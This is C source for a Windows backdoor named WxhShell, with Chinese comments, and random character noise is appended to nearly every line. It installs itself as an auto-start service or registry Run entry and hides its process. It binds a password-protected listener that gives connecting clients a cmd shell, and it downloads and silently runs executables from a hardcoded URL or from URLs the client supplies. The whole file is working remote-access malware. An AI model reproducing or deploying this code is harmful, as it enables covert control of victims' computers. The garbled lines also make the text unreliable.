    else { 0m4'm<2m  
    closesocket(wsh); <A&Zl&^1  
    ExitThread(0); c;88Wb<|W  
    } )<.y{_QUN  
    break; '-P+|bZW4  
    } dAi.^! !  
  // 获取shell (SByN7[g b  
  case 's': { J#\oc@  
    CmdShell(wsh); W4)bEWO+q  
    closesocket(wsh); yn.[-  
    ExitThread(0); TpxAp',#7  
    break; X5+$:jq&  
  } CM)V^k*  
  // 退出 <>V~  
  case 'x': { J@qLBe(v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &5hs W1`  
    CloseIt(wsh); =0SJf 3  
    break; Nf}i /  
    } }Zfi/^0U  
  // 离开 L),bP fz  
  case 'q': { |Gr@Mi5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W?n/>DML  
    closesocket(wsh); uFFC.w  
    WSACleanup(); #p-\Y7f  
    exit(1); m",G;VN  
    break; N[N4!k )!$  
        } ."`||@|  
  } l0tFj>q"  
  } l)V646-O,~  
XY<KLO%  
  // 提示信息 [C@ Ro,mI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3V<c4'O\W  
} 2m9qg-W  
  } N]&hw&R{Q  
ruy?#rk  
  return; Y\F4  
} CiTWjE?|7  
9fsc>9  
// shell模块句柄 Z 4c^6v  
int CmdShell(SOCKET sock) upFe{M@  
{ 3;R`_#t+  
STARTUPINFO si; ,C|aiSh0-  
ZeroMemory(&si,sizeof(si)); )))AxgM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?',Wn3A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \\35} 9  
PROCESS_INFORMATION ProcessInfo; X n Rm9%  
char cmdline[]="cmd"; !$<Kp6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >L$9fn/J  
  return 0; P=X)Ktmv  
} OXZx!h  
ScRK1  
// 自身启动模式 OK2\2&G  
int StartFromService(void) hPUZ{#;n  
{ ?"@SxM~\  
typedef struct {ea*dX872:  
{ R S] N%`]  
  DWORD ExitStatus; kD6Iz$tr  
  DWORD PebBaseAddress; 4v2JrC;  
  DWORD AffinityMask; 5Hs !s+  
  DWORD BasePriority; 1;vwreJ  
  ULONG UniqueProcessId; }xY|z"&  
  ULONG InheritedFromUniqueProcessId; rw75(Lp{  
}   PROCESS_BASIC_INFORMATION; 1 /SB[[g  
GE\({V.W  
PROCNTQSIP NtQueryInformationProcess; %h v-3L#V  
R9UC0D:-x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V=c?V/pl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <ILi38%Y  
oUB9)C~  
  HANDLE             hProcess; mFE7#OM  
  PROCESS_BASIC_INFORMATION pbi; >"Zn# FY  
{_ZbPPh;M"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nFwdW@E9  
  if(NULL == hInst ) return 0; =.,XJIw&  
:)Da^V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Me^L%%: @  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =q[ynZ8O\w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1"T&B0G3l  
nyOvB#f  
  if (!NtQueryInformationProcess) return 0; !RN9wXS7  
o@YEd d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r$%,k*X^ k  
  if(!hProcess) return 0; mOFp!(  
2t7=GA+j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ * !0DW`  
@"m+9ZY  
  CloseHandle(hProcess); 9xL` i-7]  
2-^ ['R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <XzRRCYQ  
if(hProcess==NULL) return 0; LtNspFoLb  
SA [(1dy;  
HMODULE hMod; B'6(Ao=3/  
char procName[255]; }RQ'aeVl(  
unsigned long cbNeeded; ?:W=ddg  
#:Ukv?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {3 >`k.w  
,fj~BkW{  
  CloseHandle(hProcess); T? ,Q=.  
#vTF:r  
if(strstr(procName,"services")) return 1; // 以服务启动 6>h"Lsww  
|2I p*  
  return 0; // 注册表启动 Wr,pm#gl6  
} d/E0opv  
)7WLbj!M  
// 主模块 C6d#+  
int StartWxhshell(LPSTR lpCmdLine) ZV[-$  
{ r1sA^2g.  
  SOCKET wsl; t_qX7P8+'  
BOOL val=TRUE; ]Y f8  
  int port=0; j)}TZx4~  
  struct sockaddr_in door; yRz l}  
I2?g'tz  
  if(wscfg.ws_autoins) Install(); DhG{hQ[[  
@>[3 [;  
port=atoi(lpCmdLine); B:)vPO+ d  
%3q7i`AZ  
if(port<=0) port=wscfg.ws_port; (KR.dxzjf  
q&,uJo  
  WSADATA data; ; $UB@)7%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,k m`-6.2?  
M\kct7Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q{7+N1 "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5_SxX@fW %  
  door.sin_family = AF_INET; u)l[*";S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &>XSQB(&%  
  door.sin_port = htons(port); 5%" 0  
sA+( |cEh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kFi=^#J{  
closesocket(wsl); 8+~'T|  
return 1; ;5}"2hU>  
} r4 ;nkx  
Chtls;Ph[  
  if(listen(wsl,2) == INVALID_SOCKET) { ET|4a(x  
closesocket(wsl); ,D`\ R V  
return 1; r7v 1q  
} Ft8ii|-  
  Wxhshell(wsl); b>| d Q  
  WSACleanup(); Na`vw  
q?# w%0}  
return 0; z!^3%kJJ>  
T2 V(P>E  
} iRL|u~bj  
q)]S:$?BT  
// 以NT服务方式启动 @oFuX.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ] -G~  
{ gR k+KGKn<  
DWORD   status = 0; 0f,Ii_k bT  
  DWORD   specificError = 0xfffffff; <:~'s]`zf  
d'p@[1/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n Ayyjd3!S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `R:HMO[ow  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9Oc(Gl5az  
  serviceStatus.dwWin32ExitCode     = 0; - [7S.  
  serviceStatus.dwServiceSpecificExitCode = 0; h>n<5{zqM  
  serviceStatus.dwCheckPoint       = 0; >8DZj&j  
  serviceStatus.dwWaitHint       = 0; AHTQF#U^  
200Fd8Ju  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PJ'@!jx  
  if (hServiceStatusHandle==0) return; 0,m@BsK  
7XiR)jYo*  
status = GetLastError(); Tc;j)_C)  
  if (status!=NO_ERROR) ffh3okyW0  
{ 2tdr1+U?g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AO0aOX8_+D  
    serviceStatus.dwCheckPoint       = 0; ,in"8aT}~  
    serviceStatus.dwWaitHint       = 0; CS Isi]H  
    serviceStatus.dwWin32ExitCode     = status; !,;/JxfgVh  
    serviceStatus.dwServiceSpecificExitCode = specificError; aP +)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U\;mM\2rE  
    return; }I#,o!)Vd  
  }  Tv~Ys#  
XNB4KjT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <{A|Xs  
  serviceStatus.dwCheckPoint       = 0; UC?i>HsJrX  
  serviceStatus.dwWaitHint       = 0; %;YERO!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gu K!<-Oz"  
} p}k\l dmh{  
FQikFy(YY  
// 处理NT服务事件,比如:启动、停止 )cxML<j'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BxGz4  
{ c`!8!R  
switch(fdwControl) [214b=  
{ SR&'38UCe  
case SERVICE_CONTROL_STOP: )Xd2qbi  
  serviceStatus.dwWin32ExitCode = 0; n ,CMGe^:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1$rrfg  
  serviceStatus.dwCheckPoint   = 0; HXRK<6k$  
  serviceStatus.dwWaitHint     = 0; gX *i"Y#  
  { tU(vt0~b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(SZ;y  
  } |>AHc_:$$  
  return; 3']=w@~ O[  
case SERVICE_CONTROL_PAUSE: Lw #vHNf6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e=EM07z  
  break; L9(!L$  
case SERVICE_CONTROL_CONTINUE: NW@guhK.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .eM A*C~n  
  break; X4:SH> U!  
case SERVICE_CONTROL_INTERROGATE: uOnyU+fZV  
  break; rQD7ZN_ R  
}; ,#QLc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gIaPS0Q  
} =[V  
Z\P&i#  
// 标准应用程序主函数 9x[|75}l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rD SUhO{V  
{ PEHaH"|([=  
9W@ Tf  
// 获取操作系统版本 Fwv(J_'q  
OsIsNt=GetOsVer(); fW.)!EPO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p}R3A J  
qox31pnS  
  // 从命令行安装 %y}l^P5z  
  if(strpbrk(lpCmdLine,"iI")) Install(); z2.ZxL"*  
dzwto;  
  // 下载执行文件 ~V<62"G  
if(wscfg.ws_downexe) { G9i?yd4n=B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (3M7RpsL@  
  WinExec(wscfg.ws_filenam,SW_HIDE); YkbZ 2J*-  
} (xhV>hsA  
dGBVkb4]T  
if(!OsIsNt) { >J No2  
// 如果时win9x,隐藏进程并且设置为注册表启动 7e D<(  
HideProc(); ImVHX~ qHJ  
StartWxhshell(lpCmdLine); )rFcfS+/  
} ;NeN2|I]  
else 74q |FQ  
  if(StartFromService()) 7ZRLSq'S  
  // 以服务方式启动 {QRrAi  
  StartServiceCtrlDispatcher(DispatchTable); 8st~ O  
else ~g[<A?0=y  
  // 普通方式启动 8rA?X*|S!  
  StartWxhshell(lpCmdLine); &WGG kn  
m^Xq<`e"<  
return 0; @G;\gJT*  
} 2 .)`8|c9  
|=9=a@l]P  
^%r>f@h!L  
=jN9PzLk  
=========================================== WGrG#Kw[  
z^r  
~}fQ.F*7R  
q-)Ynp4'  
\a}W{e=FNT  
51lN,VVD  
" P1f@?R&t+  
H%AC *,  
#include <stdio.h> >k{KwFB^S  
#include <string.h> e+=P)Zp/  
#include <windows.h> ^6U0n!nU  
#include <winsock2.h> M8wEy_XB1  
#include <winsvc.h> IrZ!.5%tV  
#include <urlmon.h> P<WCW3!JZ  
dNMz(~A[Y  
#pragma comment (lib, "Ws2_32.lib") Y"&1jud4xl  
#pragma comment (lib, "urlmon.lib") t*'U|K4L/  
Ei[>%Ah  
#define MAX_USER   100 // 最大客户端连接数 8bIwRVA2\  
#define BUF_SOCK   200 // sock buffer '6&a8&:  
#define KEY_BUFF   255 // 输入 buffer ~9KxvQzt  
1-M\K^F  
#define REBOOT     0   // 重启 \P` mV9P  
#define SHUTDOWN   1   // 关机 aV'r oxM  
2PSt*(  
#define DEF_PORT   5000 // 监听端口 [C"[#7  
 H*]B7?S  
#define REG_LEN     16   // 注册表键长度 hRvj iK\  
#define SVC_LEN     80   // NT服务名长度 ?nya;Z-~Hc  
~HH6=qjU)  
// 从dll定义API ;5fq[v^P:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4dwG6-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K^'NG!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #I(Ho:b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (;o/2Q?  
*?GV(/Q  
// wxhshell配置信息 M >BcYbXf  
struct WSCFG { }JKK"d}U  
  int ws_port;         // 监听端口 BCK0fk~  
  char ws_passstr[REG_LEN]; // 口令 T+y3Ph--^  
  int ws_autoins;       // 安装标记, 1=yes 0=no aA5rvP +  
  char ws_regname[REG_LEN]; // 注册表键名 C3p/|{TP  
  char ws_svcname[REG_LEN]; // 服务名 .%rB-vO:g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,:e##g~k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7sci&!.2`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,`ZIW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tb@&!a$`?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .;&1"b8G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 psHW(Z8G  
oMj;9,WK'  
}; JNYFu0  
jml 4YaGZ  
// default Wxhshell configuration 5|E_ ,d!v  
struct WSCFG wscfg={DEF_PORT, c5t],P  
    "xuhuanlingzhe", >pV|c\  
    1, `zJTVi4  
    "Wxhshell", >sL"HyY#H  
    "Wxhshell", 9<ev]XaSl  
            "WxhShell Service", rprtp5Cg  
    "Wrsky Windows CmdShell Service", xxN=,p  
    "Please Input Your Password: ", wwtk6;8@  
  1, ?xbPdG":R  
  "http://www.wrsky.com/wxhshell.exe", ma<+!*|   
  "Wxhshell.exe" RI q9wD}4(  
    }; xxlYn9ke  
"$VqOSo  
// 消息定义模块 @+3@Z?!SZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i"{ \ >  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x3JX}yCX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oq<n5  
char *msg_ws_ext="\n\rExit."; &Jr~ )o   
char *msg_ws_end="\n\rQuit."; UaQR0,#0y  
char *msg_ws_boot="\n\rReboot..."; :i4>&4j  
char *msg_ws_poff="\n\rShutdown..."; %0z&k!P  
char *msg_ws_down="\n\rSave to "; SbLx`]rI  
#$GDKK  
char *msg_ws_err="\n\rErr!"; O#e'.n!rI  
char *msg_ws_ok="\n\rOK!"; BWbM$@'x  
wlM"Zt  
char ExeFile[MAX_PATH]; 'NJCU.lKm  
int nUser = 0; ]i3 1@O  
HANDLE handles[MAX_USER]; 3',|HA /x  
int OsIsNt; }BpCa6SAs  
lUR7zrwJ]o  
SERVICE_STATUS       serviceStatus; q DQ$Zq[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nzdJ*C  
St6U  
// 函数声明 YuZxKuGy  
int Install(void); @GB~rfB[  
int Uninstall(void); XCGJ~  
int DownloadFile(char *sURL, SOCKET wsh); [a&|c%h  
int Boot(int flag); jo.Sg:7&  
void HideProc(void);  !XvQm*1  
int GetOsVer(void); :CQ-?mT^LA  
int Wxhshell(SOCKET wsl); EMDsi2  
void TalkWithClient(void *cs); /idQfff  
int CmdShell(SOCKET sock); 8}& O7zO?  
int StartFromService(void); MMMuT^X  
int StartWxhshell(LPSTR lpCmdLine); <3wfY #;><  
e Akjpc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n6PXPc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b`@aiXN)+  
O;u&>BMk  
// 数据结构和表定义 Pw^ lp'dO  
SERVICE_TABLE_ENTRY DispatchTable[] = =+T$1  
{ Qz+hS\yx  
{wscfg.ws_svcname, NTServiceMain}, pV>M, f  
{NULL, NULL} s/,wyxKd  
}; kAF[K,G G  
e%(,)WlTaU  
// 自我安装 |z!Y,zaX  
int Install(void) 0u]!C"VX  
{ Xgge_`T9  
  char svExeFile[MAX_PATH]; ] Fx9!S  
  HKEY key; 1]L 0r  
  strcpy(svExeFile,ExeFile); C0xj M0  
X  8V^  
// 如果是win9x系统,修改注册表设为自启动 >i>%@  
if(!OsIsNt) { rpk )i:k\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{2[n F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ >af"<  
  RegCloseKey(key); eB`7C"Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K[%)_KW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,DN>aEu1  
  RegCloseKey(key); ;TAf[[P  
  return 0; >Cb[  
    } Vf67gux  
  } 4,o|6H  
} -.8 nEO3  
else { mCa [?  
}{J5)\s9  
// 如果是NT以上系统,安装为系统服务 l .8@F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6dG:3n}  
if (schSCManager!=0) ##gq{hgjb$  
{ 0-ISOA&  
  SC_HANDLE schService = CreateService #K|:BS  
  ( =K6aiP$Ft  
  schSCManager, [xF(t @p  
  wscfg.ws_svcname, qRXb 9c  
  wscfg.ws_svcdisp, B 4pJg  
  SERVICE_ALL_ACCESS, !TJCQ[Aa }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1LbJR'}  
  SERVICE_AUTO_START, VP|ga }(  
  SERVICE_ERROR_NORMAL, W}<'Y@[ ,  
  svExeFile, Cv@ZzILyoK  
  NULL, a#iJXI  
  NULL, B'( /W@  
  NULL, -6(u09mb_  
  NULL, q[l!kC+Eh  
  NULL  FSaCbs(  
  ); 'lPt.*Y<u  
  if (schService!=0) _lrCf  
  { >wiW(Ki}  
  CloseServiceHandle(schService); A %iZ_h^  
  CloseServiceHandle(schSCManager); 9%>GOY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nwu,:}T  
  strcat(svExeFile,wscfg.ws_svcname); }g1V6 `8&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %#!`>S)O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Z:<?_p%7g  
  RegCloseKey(key); 1+1Z]!nG#!  
  return 0; _~?N3G  
    } C NDf&dzX8  
  } [89qg+z  
  CloseServiceHandle(schSCManager); K3QE>@']  
} 0Q^a*7w`8a  
} x7qVLpcL3z  
P&Vqr  
return 1; :x*|?zII  
} ^l}Esz`-M  
N=e-"8  
// 自我卸载 dg9 DBn#  
int Uninstall(void) V) #vvnq  
{ bL: !3|M  
  HKEY key; g4(vgWOW`  
V87?J w%2  
if(!OsIsNt) { p>w{.hC@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M_-LI4>  
  RegDeleteValue(key,wscfg.ws_regname); vs3px1Xe#  
  RegCloseKey(key); Bnju_)U5)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0/7y&-/(  
  RegDeleteValue(key,wscfg.ws_regname); zJE$sB.f  
  RegCloseKey(key); Bvke@|]kW  
  return 0; zKycd*X  
  } 's.%rre%  
} UZ8 vZ  
} 8!a6)Zeux  
else { Q;m:o8Q5  
#/u%sX`#y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &/K:zWk3mx  
if (schSCManager!=0) RcQo1  
{ XU f]gQu3=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); II !Nr{A  
  if (schService!=0)  3z^l  
  { X2avo|6e  
  if(DeleteService(schService)!=0) { k 7 !{p  
  CloseServiceHandle(schService); H-&Z+4 +Xs  
  CloseServiceHandle(schSCManager); f9A^0A?c  
  return 0; JI{|8)S  
  } ~*WSH&ip  
  CloseServiceHandle(schService); 8Vcg30_+  
  } fmuAX w>  
  CloseServiceHandle(schSCManager); QLx]%E\  
} s bf\;_!  
} *h=|KOS  
>Qk4AMIO  
return 1; K8,fw-S%  
} >EQd;Af  
@ lo6?9oNo  
// 从指定url下载文件 4a'GWzUtS  
int DownloadFile(char *sURL, SOCKET wsh) W0vdU;?%  
{ (E'f'g  
  HRESULT hr; Ne^md  
char seps[]= "/"; o.qeF4\d6  
char *token; <k2Qcicy  
char *file; dl:uI5]  
char myURL[MAX_PATH]; EeW%5/;  
char myFILE[MAX_PATH]; ?k$3( -  
PCxv_Svf  
strcpy(myURL,sURL); i qCZIahf  
  token=strtok(myURL,seps); dA;f`Bi;Q  
  while(token!=NULL) pNY+E5  
  { !{@!:m3w  
    file=token; d|UK=B^x  
  token=strtok(NULL,seps); Za+26#g  
  } -"u9s[L{  
;Drt4fOxX  
GetCurrentDirectory(MAX_PATH,myFILE); -p|@Enn  
strcat(myFILE, "\\"); 39s%CcI`k  
strcat(myFILE, file); ifA{E}fRZP  
  send(wsh,myFILE,strlen(myFILE),0); Zj )Bd* a  
send(wsh,"...",3,0); KMsm2~P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?eUhHKS5  
  if(hr==S_OK) q$[x*!~  
return 0; Rk#@{_  
else F1skI _!  
return 1; &5Ai&<q"p  
/IDfGAE  
} XWQp-H.  
S`yY<1[O  
// 系统电源模块 N O|&nqq,>  
int Boot(int flag) G.KZZ-=_4  
{ HtWuZq; w  
  HANDLE hToken; n:c)R8X]  
  TOKEN_PRIVILEGES tkp; a8K"Z-LlQ  
bAIo5lr  
  if(OsIsNt) { Y {]RhRR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a~b^`ykcWP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^P&)2m:s  
    tkp.PrivilegeCount = 1; Z!Y ^iN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pgK)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xne{:!btw  
if(flag==REBOOT) { KsZXdM/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tlo"tl_]  
  return 0; =;(wBj  
} pgg4<j_mn  
else { _h#SP+>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5f&+(Wqw  
  return 0; 8+ 5-7)  
} we6']iaV  
  } D'y/ pv}!  
  else { 4zyy   
if(flag==REBOOT) { 2" (vjnfH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]-O/{FIv  
  return 0; LD]>_P83  
} 4u;db_gX  
else { cX$ Pq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) # [c`]v  
  return 0; x%kS:!  
} $j(2M?.>#  
} g%1FTl  
rf.w}B;V;  
return 1; HhfuHZ<  
} 3cK`RM `  
8NLTq|sW  
// win9x进程隐藏模块 !QoOL<(){  
void HideProc(void) k8E'wN  
{ ZRY s7 4<  
uVJ;1H!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wTBp=)1)f  
  if ( hKernel != NULL ) q7-Eu4w  
  { uQ4WM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z2d,J>-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !2oe;q2X[G  
    FreeLibrary(hKernel); }0Isi G  
  } x|/zn<\^  
?A7&SdJaO  
return; p;av63 i  
} `PI,tmv!  
WZ}c)r*R  
// 获取操作系统版本 MrIo.  
int GetOsVer(void) |1`|E- S=  
{ o ~"?K2@T  
  OSVERSIONINFO winfo; 8E`rs)A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .%>UA|[~:  
  GetVersionEx(&winfo); kb>:M.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yv!%Is  
  return 1; +.UdEIR";M  
  else 9H5S@w[je  
  return 0; Qn> 0s  
} (I~-mzu\  
{4"!~W  
// 客户端句柄模块 $Oa} U3  
int Wxhshell(SOCKET wsl)  k?|l;6  
{ ;c"T#CH.  
  SOCKET wsh; eaQ)r?M  
  struct sockaddr_in client; Y2i:ZP  
  DWORD myID; o@[yF<  
;j]0GD,c$  
  while(nUser<MAX_USER) F$Q( 2:w  
{ F)4Y;;#  
  int nSize=sizeof(client); 3P C'P2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H:x=v4NgsU  
  if(wsh==INVALID_SOCKET) return 1; b!VaEK  
9j458Yd4*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tiJY$YqA  
if(handles[nUser]==0) >jU.R;H5  
  closesocket(wsh); .L'>1H]B  
else ks=j v:  
  nUser++; %<%ef+*  
  } xcfEL_'o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l0Wp%T  
"#x<>a )O\  
  return 0; Q:$<`K4)  
} qn}w]yGW  
,.Ac= "f  
// 关闭 socket [pf78  
void CloseIt(SOCKET wsh) HJT}v/FZ  
{ 7r#U^d(  
closesocket(wsh); -AcLh0pc  
nUser--; zrYhx!@  
ExitThread(0); bY:A7.p7#  
} omQa N#!,  
r(./00a  
// 客户端请求句柄 h32QEz-+  
void TalkWithClient(void *cs) CqQ>"Y  
{ o9+ "6V|.  
zSMN k AM  
  SOCKET wsh=(SOCKET)cs; Ndq|Hkd  
  char pwd[SVC_LEN]; ML?%s`   
  char cmd[KEY_BUFF]; e W&;r&26  
char chr[1]; gZ6]\l]J{  
int i,j; D4%5T>^LW[  
h?[3{Z^  
  while (nUser < MAX_USER) { JgXP2|Y!  
Ld>y Fb(`  
if(wscfg.ws_passstr) { n@[&SgZq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <oG+=h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hm@+(j(N96  
  //ZeroMemory(pwd,KEY_BUFF); -?gr3rV@  
      i=0; v[VUX69  
  while(i<SVC_LEN) { 7)sEW#d!  
K:&FWl.  
  // 设置超时 kW>Q9Nc=V  
  fd_set FdRead; ](yw2c;m e  
  struct timeval TimeOut; <H3njv  
  FD_ZERO(&FdRead); iLf:an*vH  
  FD_SET(wsh,&FdRead); @D_=M tF<  
  TimeOut.tv_sec=8; 42mi 7%f  
  TimeOut.tv_usec=0; 8:hUj>q x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ } ,="  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WvVHSa4{  
.RocENO0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jH26-b<  
  pwd=chr[0]; ,Oojh;P_  
  if(chr[0]==0xd || chr[0]==0xa) { &kh7|:{j  
  pwd=0; g#0h{%3A \  
  break; rug^_d=B  
  } K 8CjZpzq  
  i++; `WvNN>R  
    } |r*btyOJk  
DIO @Zo  
  // 如果是非法用户,关闭 socket Rh#0EbE2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ qe9U 0  
} wW s<{ T  
Zp~2WJQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *oLAO/)n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sdP% Y<eAT  
MkJ}dncg*  
while(1) { /MHqt=jP6  
csZIBi  
  ZeroMemory(cmd,KEY_BUFF); j.O7-t%C  
T;D`=p#  
      // 自动支持客户端 telnet标准   $P#Cf&R  
  j=0; Wlm%W>%  
  while(j<KEY_BUFF) { k{ >rI2;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QA_SS'*  
  cmd[j]=chr[0]; v#u]cmI  
  if(chr[0]==0xa || chr[0]==0xd) { vaQZ1a,  
  cmd[j]=0; HPVW2Y0_N  
  break; GFd~..$  
  } -AwR$<q'  
  j++; @ @$=MSN  
    } Rt!G:hy7  
-N`j` zb|  
  // 下载文件 u,<I%  
  if(strstr(cmd,"http://")) { {6Tw+/`P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X51pRP $R  
  if(DownloadFile(cmd,wsh)) Pk444_"=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D )z'FOaI  
  else q]Gym 7o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o"D`_ER  
  } jG=*\lK6  
  else { Z M"J5}h  
z#*M}RR  
